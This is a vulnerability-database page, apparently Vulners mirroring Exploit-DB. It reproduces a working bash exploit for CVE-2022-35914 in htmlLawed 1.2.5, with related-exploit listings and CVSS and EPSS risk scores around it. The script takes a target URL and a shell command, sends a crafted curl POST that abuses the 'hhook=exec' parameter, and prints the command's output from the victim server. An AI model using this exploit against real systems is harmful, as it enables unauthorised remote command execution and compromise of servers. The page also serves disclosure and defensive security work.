Lucene search
+L

htmlLawed 1.2.5 - Remote Code Execution (RCE)

🗓️ 19 May 2024 00:00:00Reported by Miguel RedondoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 857 Views

htmlLawed 1.2.5 Remote Code Execution (RCE) with curl comman

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for SQL Injection in Dolibarr
3 Apr 202610:02
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
30 Sep 202216:43
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
30 Sep 202216:43
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
24 Apr 202406:39
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
25 Aug 202419:32
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
21 Jul 202621:08
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Glpi-Project Glpi
24 Apr 202406:39
githubexploit
zdt
zdt
GLPI 10.0.2 Command Injection Exploit
25 Oct 202200:00
zdt
zdt
zdt
htmlLawed 1.2.5 - Remote Code Execution Exploit
19 May 202400:00
zdt
altlinux
ALT Linux
Security fix for the ALT Linux 9 package glpi version 9.5.9-alt1
23 Sep 202200:00
altlinux
Rows per page
# Exploit Title: htmlLawed 1.2.5 - Remote Code Execution (RCE)
# Date: 2024-04-24
# Exploit Author: Miguel Redondo (aka d4t4s3c)
# Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
# Software Link: https://github.com/kesar/HTMLawed
# Version: <= 1.2.5
# Tested on: Linux
# CVE: CVE-2022-35914

banner(){
  echo "  ______     _______     ____   ___ ____  ____      _________  ___  _ _  _"
  echo " / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ / ___|/ _ \/ | || |"
  echo "| |    \ \ / /|  _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_"
  echo "| |___  \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__   _|"
  echo " \____|  \_/  |_____|   |_____|\___/_____|_____|   |____/____/  /_/|_|  |_|"
}

while getopts ":u:c:" arg; do
  case $arg in
    u) URL=$OPTARG; let parameter_counter+=1 ;;
    c) CMD=$OPTARG; let parameter_counter+=1 ;;
  esac
done


if [ -z "$URL" ] || [ -z "$CMD" ]; then
  banner
  echo -e "\n[i] Usage: ${0} -u <URL> -c <CMD>\n"
  exit
else
  banner
  echo -e "\n[+] Command output:"
fi

curl -s -d "sid=foo&hhook=exec&text=${CMD}" -b "sid=foo" ${URL} | egrep '\&nbsp; \[[0-9]+\] =\>'| sed -E 's/\&nbsp; \[[0-9]+\] =\> (.*)<br \/>/\1/'

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2024 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
EPSS0.99696
SSVC
857